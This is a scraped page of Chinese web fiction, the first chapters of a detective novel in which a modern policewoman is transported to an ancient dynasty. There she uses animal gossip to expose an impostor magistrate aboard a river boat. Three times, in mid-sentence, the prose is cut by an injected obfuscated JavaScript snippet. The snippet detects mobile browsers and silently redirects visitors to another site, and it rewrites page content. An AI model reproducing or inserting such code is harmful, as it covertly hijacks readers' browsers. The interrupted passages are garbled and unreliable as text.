《古代刑侦日志:我的线人都是小动物》 1. 鱼目混珠案(1) 穆青青最后的意识停留在坠江的瞬间——桥上的警灯在雨幕中晕成模糊光团,栏杆断裂的脆响,然后是无尽的坠落。江水倒灌时,一股柔缓水流托住了她,把她精准推向芦苇滩。 彻底昏迷前,脑海里“嗡”的一声—— 【注意:你已接入临河湾生态感知网络,当前权限:倾听者】 【河湾夜话(当前在线:5)】 老元:【来新成员了?……咦?南岸那窝野鸭又在吵架,第三回了,肯定是为抢那片水草。】 白羽:【嘎!东边渡口那船娘今早簪了朵黄花!比昨天那朵粉的衬羽毛!但她扔的饭粒里有姜末!讨厌!】 浪里梭:【噗噜!西岸洗衣的姑娘!今天换了蓝裙子!蹲下时袖子里掉出个油纸包!飘下来了!兄弟们正抢呢!不知道包着什么好吃的!】 岸边吱吱叫:【吱吱!北坡那猎户又和媳妇吵!媳妇骂他昨天逮的兔子太瘦!害她没面子!兔子明明挺肥的……】 穆青青:? 没等她反应,新消息又蹦出来: 老元:【昨晚后山有火光,两脚兽们聚在那儿烧东西,烟味飘到河边,呛得我老人家喉咙痒。】 白羽:【对了!昨天有只灰鸽子想抢我地盘!被我啄跑了!它翅膀上有道疤!丑!】 浪里梭:【噗噜噗噜!上游漂下来好多花瓣!红的粉的!闻着香!但嚼起来没味!不如烂菜叶!】 岸边吱吱叫:【吱!前天半夜!好几个大麻袋噗通噗通掉水里!就沉在我洞口对面!我早上想去啃麻袋绳磨牙——结果闻着味儿不对!吓得我存粮都少吃了两口!】 麻袋? 穆青青想细听,黑暗便已彻底吞没了一切。 再醒来时,是在摇晃的马车里。 青布轿厢,木质板壁泛着桐油和旧布混合的气味。身下垫着干燥的褥子,盖着半旧靛蓝薄被。角落小炭炉里余烬未熄,散着微微暖意。她浑身酸痛,尤其是后脑勺,肿起一个大包,轻轻一碰就疼得钻心。 “姑娘醒了?” 一张温婉的妇人脸庞探过来,约莫三十出头,圆脸细眉,眼角有浅浅笑纹。她穿着青灰色交领襦裙,外罩杏色半旧比甲,发髻简单挽着,簪一根素银簪子。妇人眉眼温和,但眼底带着长途跋涉的疲惫和隐约的忧虑。 穆青青张了张嘴,嗓子哑得像被砂纸磨过。 “别急,你先喝点水。”妇人小心扶起她,将粗瓷碗凑到她唇边。 温水入喉,带着一丝蜂蜜的甜味。穆青青借着喝水的功夫,迅速而隐蔽地观察:马车内饰简洁但用料扎实,榫卯严丝合缝,木料是结实的杉木,刷了清漆;妇人衣袖上有极细的缠枝纹暗绣,针脚平整细密,是上好的苏绣手法;车外有规律的脚步声和马蹄声,应该有三四人随行,步伐沉稳,是练家子;从颠簸幅度判断,路况一般,应该是官道。 这不是她熟悉的任何地方。 刑警的本能让心跳加速,但面上只露出恰到好处的茫然:“我……这是哪里?” “我们是去南边丰城县赴任的。”妇人接过空碗,语气温和,“我家老爷姓崔,是新任的丰城知县。三日前路过临河湾,家仆见你漂在芦苇边,还有气息,便救了上来。你已昏睡了两日。”她顿了顿,轻声问:“姑娘,你叫什么名字?家在哪里?” 穆青青低头看着自己这双明显属于少女的、略显粗糙但指节分明的手——虎口有薄茧,指腹也有,是长期劳作留下的,但指甲修剪整齐,指缝干净。脑中闪过一些破碎画面:泥泞的道路、仓皇奔跑的人群、怀里揣着的硬饼、脚下一滑……冰冷的河水。还有一个模糊的声音在喊:“青青,快跑!别回头!” 这似乎是这具身体原主的记忆。逃难的孤女?但为什么只有“快跑”的紧迫感,却没有前因后果? “我……叫青青。”她选择沿用原主似乎存在的名字,声音低弱,“其他的……记不清了。好像……是逃难时跌进了河里……”她抬手揉太阳穴,做出痛苦迷茫的表情,“头很痛,许多事都想不起来……只记得有人喊我快跑……” 妇人——崔夫人赵氏,眼中怜惜更甚:“可怜见的,定是撞到头了。老爷也说你脑后有个肿包。”她替穆青青掖了掖被角,“想不起就先别想,好生养着。既救了你,便是缘分。你且安心跟着我们,到了丰城再做打算。” “多谢夫人。”穆青青真心实意地道谢,眼角余光瞥见自己手腕处有一圈极淡的、几乎看不出的白色痕迹,像是长期佩戴某种窄细饰物所留。她不动声色地用衣袖遮住。 马车继续前行。她闭上眼,整理混乱的思绪。 穆青青,二十二岁,市刑侦支队重案组实习警员。警校毕业成绩优异,尤其擅长痕迹检验和犯罪心理侧写。追捕连环抢劫犯时在跨江大桥发生枪战,歹徒狗急跳墙开枪扫射,护栏断裂,她为救一名人质扑过去,却一同坠入江中。然后……就到了这里。 现在她了解的信息太少了。但至少她活下来了,暂时来看是安全的。 只是脑海里那些奇怪的“对话”…… 她默默记下。 那些看似荒诞的对话里,似乎藏着一些秘密。 接下来的几日行程,穆青青一边养身体,一边用刑警的专业素养,不动声色地观察和收集信息。 救她的是崔文博崔县令一家。 崔县令年近四十,面容清癯,留着短须,典型的文人模样。话不多,但处事细致。每日早起便在车中读书,常看的是《永昌律例疏议》和一本手抄的《丰城县志》。 穆青青的职业习惯注意到他几个小习惯:喝茶前必先凑近杯口轻嗅茶香,思考问题时右手食指会无意识地轻点膝盖,写字时悬腕很稳,手指修长,指腹有薄茧,是常年执笔留下的。他的指甲修剪得极整齐,边缘光滑,没有任何污垢或破损。 马车上有位五十余岁、精瘦的宋师爷,说话慢条斯理,常与崔县令低声商讨事务。宋师爷左手小指少了一截,据说是年轻时替人写状纸得罪了地头蛇被砍的。他有个习惯,说话时喜欢捻那截断指,尤其在思考重要问题时。 两名年轻护卫叫崔远、崔近,是崔家远亲,约莫二十出头,身形精干,眼神警惕。崔远左眉上方有道浅疤,沉默寡言,但观察力极强,每次停车休息都会先绕车一周检查。崔近相对活泼些,剑术不错,常偷偷在休息时练剑,剑柄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011099|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上缠的布条已经洗得发白。 崔夫人的贴身丫鬟小莲,是个圆脸爱笑、约莫十三四岁的小丫头,手脚勤快,话也多。她右手手腕内侧有颗红色小痣,递东西时总能看到。厨娘刘婶四十来岁,微胖,做的饭菜味道朴实但分量足,她切菜时习惯先用手背擦一下刀面。杂役老李五十多岁了,但力气大,行李搬抬从不含糊。 从他们零星的交谈中,穆青青拼凑出了这个时代的基本轮廓:国号“大曜”,当今皇帝年号“永昌”,登基已七年。 前朝末年战乱频发,民生凋敝,永昌帝登基后推行休养生息之策,鼓励垦荒,轻徭薄赋,南方相对安定。 崔县令是永昌二年的三甲同进士出身,原在户部任主事,因在清理旧年账册时立了功,被外放为丰城知县,算是升迁。丰城县地处漕运要冲,商贾云集,但也鱼龙混杂,前任知县因“治理不力”被调离,据说与当地漕帮、盐商关系复杂有关。 她也仔细检查了自己。 她身上现在穿的是原身落水时那套普通的粗布衣裙,洗得发白,但针脚细密,袖口和领口有磨损但补得整齐,并非最贫苦人家能有。除手腕那圈淡痕外,身上没有任何能证明身份的文牒或信物。内衣是细棉布,贴身一个小暗袋,空空如也。鞋子是千层底,纳得很密实,但右鞋底后跟磨损比左鞋严重——原主可能习惯用右脚发力,或者长期单侧负重。 这让她对自己的来历更添疑惑:一个逃难的孤女,为何会有针脚如此细密的衣裳?为何内衣是细棉布?为何鞋底磨损如此有特点? 行程不紧不慢。白日赶路,傍晚投宿驿站或客栈。穆青青安静乖巧,不多言不多语,只默默观察。崔夫人待她温和,常让她坐在自己车上说话,偶尔问及她可想起什么,穆青青只摇头说“迷迷糊糊的,记不清了”。但她会状似无意地请教一些常识问题,比如“夫人,前面那条河叫什么名字?”、“咱们大曜王朝的女子也能读书吗?”,既符合失忆人设,又能快速了解这个世界。 小莲是个活泼的,常来与她作伴,叽叽喳喳说些闲话:老爷学问好,夫人心善,宋师爷精明,崔远哥木讷,崔近哥爱说笑……还有丰城听说靠河,鱼虾肥美,就是夏天蚊虫多。 “青姐姐,你长得真秀气。”小莲托着腮看她,眼睛亮晶晶的,“就是太瘦了,得多吃点。厨娘刘婶做的肉饼可香了,晚上我给你留一块!对了,刘婶说今天路过镇子时买了新鲜猪肉,还有萝卜,晚上炖汤!” 穆青青笑着点头。她确实瘦,这具身体长期营养不良,手腕细得像一折就断。她需要时间慢慢调养。 她也在学习这个时代的礼仪、用语、生活习惯。幸好原主似乎有些基础,许多日常举动成了身体本能——比如行礼时右手压左手的姿势,比如吃饭时碗要端起来,比如称呼长辈要用敬语——让她不至于露馅太多。 夜里投宿时,她尝试在脑海中呼唤那个光幕,却没有反应。那天的“河湾夜话”像是昙花一现。但穆青青不急,她有种直觉,那个能力还在,只是需要特定条件——比如靠近水域?或者需要她精神状态更稳定? 直到第十日,队伍抵达清浦镇码头,准备换乘官船走水路。 2. 鱼目混珠案(2) 清浦镇比想象中热闹。 青石板路被连日雨水洗得发亮,两旁店铺林立,酒旗招展。空气中混杂着河水腥气、货物尘土和食物香气——刚出笼的包子味、炸油条的焦香、还有不知哪家酒肆飘出的酒糟气。 清浦镇是漕运重镇,码头上泊满了各色船只。空气中弥漫着河水、鱼腥、货物和汗水的混合气味。脚夫们赤着上身,喊着号子装卸货物。商贩的叫卖声、船工的吆喝声、旅客的喧哗声交织成一片嘈杂的背景音。 穆青青跟在崔夫人身后下了马车,目光扫过码头。她注意到几件事:一、码头上巡逻的衙役很少,且大多懒散,聚在茶摊聊天;二、有三艘吃水极深的货船,船身有“永昌漕运”的标记,但船工举止匪气很重,与官方背景不符;三、一个穿着褐色短打、左脸有颗肉痣的汉子蹲在码头边剔牙,目光却一直似有若无地瞟向崔家车队,他右手虎口处有一个蝎子形状的刺青。 她把这些细节都记在了心里。 崔家包的这艘船不算大,但保养得宜,船身漆成深褐色,桅杆高耸。 主舱几间房都不大,崔县令和宋师爷各一间,崔夫人带着小莲一间,崔远崔近两兄弟需要就近保护县令,也分了一间;侧舱分给穆青青、厨娘两位女眷;仆役全都住在船尾。船工共有六人,为首的船老大姓胡,四十来岁,肤色黝黑如铁,沉默寡言,但吩咐事情干脆利落。他右手虎口处有一道明显的旧疤,一直延伸到手腕。 上船时,发生了一个小插曲。 崔县令在码头边与宋师爷说话,不知怎的脚步一滑,衣摆沾湿了河水。胡老大眼疾手快扶了一把。 “大人小心。” 胡老大声音低沉,带着水边人特有的沙哑。他扶住崔县令的手臂时,穆青青注意到他手指关节粗大,指甲缝里有洗不净的黑色污垢——看着不太像泥垢,倒像是机油或常年接触铁器留下的。 “无妨,多谢。” 崔县令摆摆手,神色如常,只是低头掸了掸衣摆上的水渍。但穆青青看见,崔县令被扶住的那一瞬间,身体有一丝极轻微的僵硬。 只是个小插曲,无人多在意。 穆青青跟在崔夫人身后上了跳板。船身随着水波轻轻晃动,她下意识扶住船舷,指尖触到木质护栏上被风雨磨出的光滑质感。她仔细观察船体:船龄大概五到八年,保养得不错,但船身有几处修补痕迹,尤其是中段水线附近,补漆的颜色比周围略深。 “姑娘小心些。”小莲在一旁扶她,笑嘻嘻的,“刚开始坐船都会有点晕,过两天就好了。我第一次坐船时,吐得天昏地暗呢!” “嗯。”穆青青点头,目光却落在船体与水面的交界处——吃水线。 她默默估算了一下。船体中段的吃水线,似乎比船首船尾下沉稍多。差异很细微,大概只有两寸左右,不仔细看难以察觉。但如果站在码头上从侧面看,就能看出船体中部略有下沉。 按这船的尺寸估算,中段额外下沉两寸,意味着中段舱底多承载了约三百至四百斤的重物。 是货物? 但崔县令一家轻车简从,行李大多在甲板上,崔家可是包下了这整只船,胡老大背着主家偷运货物了? 是压舱石? 可压舱石通常均匀分布在整个船身呀。 上船安顿好后,已是傍晚。夕阳西下,河面洒满碎金。船工升起帆,调整方向,整只船缓缓驶离码头,顺着河道向南而去。 穆青青站在船舷边,看着清浦镇的灯火渐次亮起,又渐渐远去。 突然,她发现码头上那个肉痣汉子还蹲在原地,目送崔家的船离开后才慢慢起身,朝镇子里走去。 穆青青心中疑惑,她收回目光,开始观察船上的每一个人。 胡老大在船尾掌舵,两个年轻船工——阿旺和阿发在整理缆绳。阿旺约莫二十岁,左耳缺了一小块,像是被咬掉的;阿发年纪稍大,右腿微跛。另外三个船工在舱底收拾,暂时没露面。 崔县令已经进了主舱,崔夫人在舱外叮嘱小莲收拾东西。宋师爷拿着本账册在核对行李。崔远和崔近一前一后站在主舱两侧,手按刀柄,警惕地扫视四周。 一切看似正常。 但穆青青的直觉一直在报警:不对劲儿,总觉得哪里不对劲儿。 从她被救上车,到换乘官船,一切看起来都很顺。但那个肉痣脸监视般的目光,胡老大见到父母官的过分淡定,崔县令那一瞬间的僵硬,船体异常的吃水线……这些细节像散落的珠子,还缺一根线把它们串起来。 她需要那根线。 船上日子比马车悠闲许多,也单调许多。 白日里,穆青青常坐在船舱窗边,看两岸风景缓缓后退。 春末夏初,岸边绿意正浓。垂柳拂水,芦苇丛生,时有白鹭掠过水面,翅尖点起一圈涟漪。远处田间有农人弯腰劳作,更远处青山如黛,轮廓柔和。河道不宽,水色青黄,偶尔有渔船交错而过,船头蹲着沉默的鸬鹚,像一尊尊黑色雕塑。 她帮厨娘刘婶择菜洗菜,跟小莲学做简单的针线——虽然她现代时就会缝补,但古代的女红针法不同,需要从头学起。小莲手巧,教得耐心:“青姐姐你看,这里要回针,不然容易脱线。对,就这样……呀,你学得真快!” 穆青青微笑。她确实学得快,刑警的观察力和手眼协调能力让她很快掌握了基本针法。但她更感兴趣的是通过做针线活,观察船上每个人的手部特征——这是身份识别的重要依据。 胡老大的手粗糙,虎口茧厚,指甲缝有污垢,右手腕那道疤是旧伤,边缘平整,像是利刃所伤。阿旺左手小指指甲碎裂,是近期受伤。阿发右手手背有烫伤疤痕,形状不规则。另外三个船工——老陈、大牛、二狗,老陈缺了半颗门牙,大牛左臂有刺青,但图案模糊不清,二狗眼神闪烁,不敢与人长时间对视。 宋师爷偶尔会讲些典故,多是关于丰城的风土人情、历史变迁。穆青青听得很认真,这是了解这个时代最快的方式。 “丰城县地处漕运要冲,商贾云集,但也鱼龙混杂。”宋师爷捻着胡须,慢条斯理地说,“前些年战乱时,此地匪患颇重。如今虽太平些,但仍需谨慎。尤其是码头一带,有‘漕帮’、‘盐帮’等帮派势力,与地方豪强盘根错节。前任李知县就是因为动了盐税,被人举报‘贪墨’,虽查无实据,还是被调离了。” “盐税?”穆青青状似好奇地问。 “是啊。”宋师爷压低声音,“丰城虽不产盐,却是淮盐南运的重要中转站。盐税是大头,但也最易出纰漏。这些年漕运上‘漂没’、‘损耗’的名目越来越多,实际进了谁的腰包,难说。” “漂没?” “就是运输途中‘意外落水’的货物。”宋师爷意味深长地说,“一船盐,报三成漂没,实际只漂一成,剩下两成就……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011100|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆青青明白了。这是古代常见的贪污手段。 崔夫人常叫她到主舱说话,问她在船上可习惯,有没有头晕。 “不晕的,夫人。”穆青青轻声答,手里帮着崔夫人分线,“这船稳当,比马车舒服多了。” 崔夫人点头,手里打着一条络子,线是普通的青灰色,但结打得精巧:“那就好。老爷这两日染了风寒,精神不济,总在舱里歇着。我让他多出来透透气,他也不愿。” 穆青青抬眼看向主舱方向。确实,自上船第二日起,崔县令便少出舱门,说是身体不适。饭食都是崔夫人或小莲送进去。 她曾有一次送茶水,隔着门帘瞥见崔县令侧影,靠在榻上看书。只是那姿势……有些僵直?不像往日读书时那般自然松弛。而且,他翻书的动作似乎比往常快了些,少了几分文人品读的悠缓——之前马车上,崔县令读书会偶尔停顿,手指在字行间轻划,似在品味。现在崔县令只是快速翻页,眼神扫过,更像是在确认内容而非阅读。 还有一次,崔县令出舱透气,穆青青恰好路过,恭敬地朝他行礼。崔县令微微颔首,目光从她身上扫过,没有停留。但就在这瞬间,穆青青看清了他左手虎口有一片暗黄发硬的厚茧。 她心中微动。 读书人的手,虎口不该有这样的茧子。这更像是常年握持刀柄、船桨之类粗糙物件磨出来的。而且这茧的颜色和厚度,与胡老大的手有相似之处。 但也许……是她多心了?知县也可能习武强身?或是儿时劳作留下的旧痕? 她将这些细节记在心里,面上不露分毫。 夜里,她尝试在脑海中感应那个光幕,依然没有反应。 第三天午时,船经过一个河湾时,穆青青忽然感到一阵轻微的头晕,同时脑海中“嗡”的一声—— 【河湾夜话(当前在线:6)】 老元:【胡老大这船吃水有点深啊,我看上面也没几个人嘛。】 白羽:【今天饭粒里有虾皮!三粒!我全抢到了!灰点儿只啄到一粒空壳!气得它追我绕芦苇荡三圈!我羽毛都乱了!等下得去水面照照羽毛!】 浪里梭:【噗噜噗噜!这船老往西岸偏!西岸水底有暗礁!我三姑家的二表哥就是在那儿撞晕的!醒来后连叶子和小虫都分不清了!傻了好几天!】 岸边吱吱叫:【吱……我昨晚冒险出去找瓜子,听见三个两脚兽在船尾说话!说“三爷等急了”、“货必须天亮前到”!货是什么?新口味瓜子吗?比南瓜子大吗?】 花尾巴:【啾啾!我看见啦!有个两脚兽靴子上沾了红泥!咱们河湾都是黄泥巴!红泥要去南边野渡口才有!那儿可荒了!上回我去找虫子,只找到三只瘦蚱蜢!不够塞牙缝!】 老元:【西岸水底可不止有暗礁。还有铁箱子,锈了,四四方方,一共……让老夫想想……七个。上个月沉的那条粮船,沉之前也老往那儿偏,偏着偏着就……咕咚。】 岸边吱吱叫:【吱!之前进来的那个新成员呢?怎么一直不吱声?】 浪里梭:【噗噜?你们在说什么?刚才有片烂菜叶飘过去了!我和我兄弟们在追!菜叶上有油花!香!】 穆青青心脏狂跳,群里聊天的不太像是人啊!她试着用意念回应,可是无论怎么试,光屏都毫无反应。 穆青青很失望,看来倾听者的权限很低,只能窥屏,没办法加入群聊。 3. 鱼目混珠案(3) 深夜,穆青青被闷热和心事搅得难以入眠。 刘婶在她旁边睡得正熟,发出轻微均匀的呼吸声。月光从窗纸透进来,在舱内投下模糊的光影。 她索性起身,轻轻推开舱窗。 夜风带着水汽扑面而来,凉丝丝的。远处岸边有萤火明灭,虫鸣隐约,更显夜的寂静。 回想起之前看到的群聊内容,她心中涌起阵阵不安。 【胡老大这船吃水有点深啊,我看上面也没几个人嘛。】 吃水不对劲——她白天确实注意到船体中段吃水线异常。 难道船舱里还藏着别的什么重物? 【这船老往西岸偏!西岸水底有暗礁!】 胡老大经验丰富,可他偏偏老把船往暗礁多的地方开,是无意还是有意?他到底想干什么? 【“三爷等急了”、“货必须天亮前到”!】 货是什么?是导致船吃水深的那些货吗?三爷是谁? 【有个两脚兽靴子上沾了红泥!红泥要去南边野渡口才有!】 到底是谁偷偷下船去了南边野渡呢?去那里做什么?传递消息? 她从这些看似无关的、碎碎念的动物八卦中,提取出很多关键信息。 可是思来想去,也没能把这些琐碎的信息串起来弄清楚。 最后只得放弃,心里祈祷后面这几天能一切顺利吧, 不过也要做一些防范以防万一,毕竟,那什么“三爷”,一听就不像是什么好人。 穆青青看向窗外波光粼粼的河面,心里开始盘算起来。 第二天清晨,穆青青起得比平日早。 她像往常一样帮厨娘刘婶准备早饭,在灶台边洗米洗菜,耳朵却竖着听周围的动静。船工们在前头甲板上聊天,声音顺着晨风飘过来。 “再过两三天就到丰城了。” “这趟顺风顺水,走得快。” “等到了丰城拿到工钱,咱哥儿几个一定要去城里酒楼好好喝几杯,这船上的饭食淡出鸟味儿来了。” “等上岸了再说吧。胡老大昨晚叮嘱了,让咱们仔细些。”阿旺的声音,“说大人染病,怕颠簸。还让咱们把压舱石再检查一遍,说昨夜听见船底有异响。” 压舱石? 穆青青心中一动。 “胡老大对大人倒是上心。”老陈笑道,“前些日子大人落水,还是他第一个跳下去捞的。不过也怪,大人看起来挺稳当的,那天怎么就滑倒了?” 落水? 崔县令落过水? 穆青青心里一紧。她记得崔夫人提过,换船那日崔县令在码头“滑了一下,衣摆沾湿”,但没说落水。是崔夫人不知道详情,还是……有意隐瞒? “嘘,小声点。”大牛压低声音,“胡老大不让提这事儿。说是怕夫人担心。不过我说啊,大人落水之后,好像有点不一样了……” “哪儿不一样?” “说不上来……就是,感觉脾气大了点?以前大人多和气啊,现在……那天我不小心把水洒在甲板上,他瞪我那眼神,凶得很。” “病着嘛,心情不好正常。” “也是……” 穆青青不动声色,继续洗菜。刘婶在一旁切咸菜,刀落在案板上,发出有节奏的笃笃声。 “刘婶,”穆青青轻声问,手里搓着米,“大人病得重吗?要不要紧?” 刘婶抬头看她一眼,叹口气:“说是风寒,咳得厉害。夫人这两天愁得不行,饭都吃不下几口。昨儿个我熬了姜汤送进去,大人喝了一口就摆手说不喝了,说味道不对。” “味道不对?” “是啊,说姜太辣了。以前他最爱喝我熬的姜汤,还夸我姜放得正好呢。”刘婶摇头,把切好的咸菜码进碟子里,“这河上前不着村后不着店的,哪里去请大夫?只能等到了丰城再说。不过也怪,大人咳归咳,声音倒是没怎么哑……” 穆青青点头,心里却记下了:崔县令“病”了,口味也变了,但并未请大夫。而且,咳嗽得厉害但声音没哑——这不符合风寒的典型症状。 早饭时,崔夫人脸色憔悴,眼下一片青黑。 “夫人昨夜没睡好?”穆青青轻声问,递过一碗清粥。 崔夫人接过粥碗,勉强笑了笑:“老爷身子不见好,他以前睡觉从未说过梦话,昨晚病得都说起了梦话……吵得我一夜都没敢合眼。” “说起梦话?” “嗯,说什么‘我才是知县’、‘我要把你们全都抓起来’……”崔夫人摇头,舀起一勺粥却迟迟没送入口,“定是风寒后太久没睡好,昨晚好不容易睡沉了,就开始说梦话了” 穆青青心头一紧。 我是知县?我要把你们全都抓起来? 崔县令那样的人,会说出这种梦话?莫非…… 她面上不动声色,只温声安慰:“许是梦魇了。等到了丰城,请个好大夫瞧瞧,定能好的。” “但愿如此。”崔夫人叹口气,终于喝了口粥,但只喝了两口就放下,“青青,你说……老爷这次赴任,会不会有些……” 穆青青抬眼:“有些什么?夫人的意思是?” “我也说不好。”崔夫人揉着太阳穴,“就是觉得……自从换船之后,一切都有点……不对劲。老爷病了,胡老大他们殷勤得过分,船也走得比预计的快得多还有,老爷的一些小习惯,比如说……唉,也没什么,肯定是我在船上待久了,想太多。” 崔夫人果然也察觉了。只是她不敢往最坏的方向想。 穆青青放下碗,轻声说:“夫人,有句话我不知道该不该说……” “你说。” “我……我昨晚起夜,经过主舱附近时,好像听见……底下有声音。”穆青青压低声音,“很轻,咚、咚的,像……像有人在敲木板。” 崔夫人脸色一变:“你确定?” “我不确定,也许是水声,也许是木头发出的异响。”穆青青故作犹豫,“但我今天早上帮刘婶洗菜时,听船工阿旺说,胡老大让他们检查压舱石,因为昨夜听见船底有异响。” “压舱石……”崔夫人喃喃重复,脸色越来越白。 就在这时,舱外传来胡老大的声音:“夫人,大人可用了早饭?需要添些什么吗?” 崔夫人迅速调整表情,扬声说:“不用了,老爷刚睡下。胡老大辛苦了。” “应该的。”胡老大的脚步声远去。 崔夫人抓住穆青青的手,手指冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011101|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉:“青青,你……你刚才说的,还跟谁提过?” “没有,只跟夫人说了。” “好,先别说出去。”崔夫人深吸一口气,眼中闪过决断,“今晚……我想办法去看看。如果真有什么……” 她没有说完,但穆青青明白了。 计划需要调整。崔夫人已经起疑,那就可以把“意外”设计得更自然些。 饭后,穆青青借口散步消食,在甲板上慢慢走动。她手里拿着针线篮子,假装寻找光亮处做活,实则侧耳倾听主舱方向的动静。 很安静。 不,不对。在风声和水浪声的间隙,有那么一丝丝极轻微的……咚。 像有什么东西在很厚很厚的木头底下,轻轻撞了一下。 她屏住呼吸等。过了许久,大约几十个呼吸的时间,才又听到一声,更微弱了,像是耗尽了力气。 真的有动静,就在船底。 穆青青手脚冰凉。她装作若无其事地走开,回到自己舱房,关上门,背靠舱壁,心还在狂跳。 那个“河湾夜话”群聊里说的居然都是真的,胡老大的这艘船上真的偷藏的有东西! 崔夫人如今也起了疑心,现在只差一个契机。 而这个机会来的很快。 酉时一刻(傍晚5点多),天空骤然暗了下来。风浪变大,船身开始明显摇晃。 雨来了。 雨势来得又急又猛,豆大的雨点噼里啪啦砸在船板上。河水翻涌,官船像一片叶子在浪中起伏。船工们忙着降帆、固定货物,甲板上乱成一团。 穆青青在舱内都能听见外面的风声、雨声、还有胡老大的吆喝声:“降半帆!阿旺,去检查缆绳!大牛,把货捆紧!” 崔夫人有些担忧,对小莲说:“你去看看老爷,舱内可漏雨?” “是,夫人。”小莲撑着伞出去了。 穆青青趁机对崔夫人低声说:“夫人,这么大的风浪,胡老大他们又都在外面忙,船舱里如果有异响,响声会不会变大?会不会听得更清楚?不如……我陪夫人去主舱看看?” 崔夫人看了她一眼,眼中闪过复杂的情绪,最后点点头:“好。” 两人撑着伞,顶着风雨走向主舱。雨太大,伞几乎没用,两人身上很快湿了大片。 主舱内,“崔县令”正靠在榻上,手里拿着一本书,但眼神飘忽,显然没在看。见崔夫人进来,他坐直身子,咳嗽两声:“夫人怎么来了?外面雨大,仔细着凉。” 声音有些沙哑,但咳嗽的节奏不太自然——像是刻意装出来的。 “老爷身子可好?这风浪大的,我担心船不稳。”崔夫人说着,走到窗边,假装看外面的雨势,实则目光扫过舱内各个角落。 穆青青跟在后面,状似无意地走到主舱左侧角落——那里的地上堆着一些杂物:旧帆布、几个麻袋、一捆绳索,还有……一桶备用清水。 清水桶的盖子没盖严,能隐约看到里面的水还是满的,没怎么用过。 她心里有了主意。 就在这时,船身猛地一晃! “啊!”穆青青惊呼一声,脚下“一滑”,整个人向前扑去,手肘“砰”地撞在水桶上。 桶倒了。 4. 鱼目混珠案(4) 满桶的水全都泼洒出来,瞬间淌了一地,浸湿了旧帆布、麻袋,还有那捆绳索。 “青青!”崔夫人连忙去扶。 “对、对不起夫人!”穆青青狼狈地爬起来,手臂和衣摆都被水浸湿了,她指着那块被清水浸透的地板,声音带着哭腔和惊疑:“水……水一下子全都流下去了,这、这下面……是空的。” 崔县令脸色一变,快步走过来:“大惊小怪!船板下面就是龙骨,当然是空的!” 但崔夫人已经蹲下身,用手敲了敲那块已经没留下什么水渍的木板。 “咚咚咚。” 声音空洞,带着明显的回响。 她又敲了敲旁边的木板。 “笃笃笃。” 实心的。 差异明显。 崔夫人抬起头,看向崔县令,脸色惨白如纸:“老爷,这下面……是什么?” “就是普通船舱!”崔县令声音陡然拔高,眼中闪过凶光,“夫人,你累了,回去休息吧!这里让下人来收拾!” “不。”崔夫人站起来,声音颤抖但坚定,“我要看看。胡老大!胡老大!” 胡老大应声进来,身上还滴着水:“夫人?” “把这里清开。”崔夫人指着那块区域,“我要看看下面到底是什么。” 胡老大立刻抬头看向崔县令。 崔县令这时反而冷静了,他朝胡老大微微点头。 “是,夫人。”胡老大转身出去招呼阿旺和阿发进来搬东西。 杂物被一件件移开。当那块浸透水渍、厚重肮脏的旧帆布被拖走时,所有人都看见了—— 一块约二尺见方、边缘有着细微缝隙、与周围地板花纹略有错位的方形区域。区域中央,一块小小的、颜色略深的木板,上面……挂着一把黄铜小锁。 空气瞬间凝固。 崔夫人指着那把锁,手指颤抖:“这、这是……什么?” 话音未落,异变陡生! 胡老大眼中凶光爆射,一直背在身后的右手猛地从后腰抽出一把匕首,竟直扑崔夫人而去! “夫人小心!”一直守在门外的崔远厉喝一声,飞身扑入,一脚踢在胡老大手腕上。 匕首脱手飞出,“笃”地钉在舱壁上。 几乎同时,崔县令也从榻下抽出一把短刀,扑向崔远。阿旺和阿发也掏出藏在怀中的短刃,一起攻上。 舱内瞬间乱成一团! 崔近也窜进来护着崔夫人和穆青青后退,但舱内空间狭小,刀光剑影,险象环生。 崔远虽武艺高强,但以一敌三,又要护着身后的人,渐渐落入下风。 就在这时—— “噗嗤!” 胡老大脚下突然打滑,整个人脸朝下重重摔在甲板上,摔得鼻血长流。 众人定睛一看,只见他摔倒的地方,不知何时多了一滩滑腻的水草和淤泥,还夹杂着几条死掉的小鱼。 紧接着,一群河鸟像是受到惊吓,从岸边芦苇丛中轰然飞起,其中几只慌不择路地撞进船舱,在“曹县令”他们几人头上乱飞乱拉。 几只硕大的灰鼠这时也从角落窜出,正好从胡老大脸上跑过,爪子在他脸上抓出几道血痕。 穆青青的脑海中这时也突然蹦出了群聊光幕,内容还刷得飞快。 浪里梭:【噗噜噗噜!谁把我的水草和鱼叼走了?我好不容易拖过来的!从西岸水底捞的!】 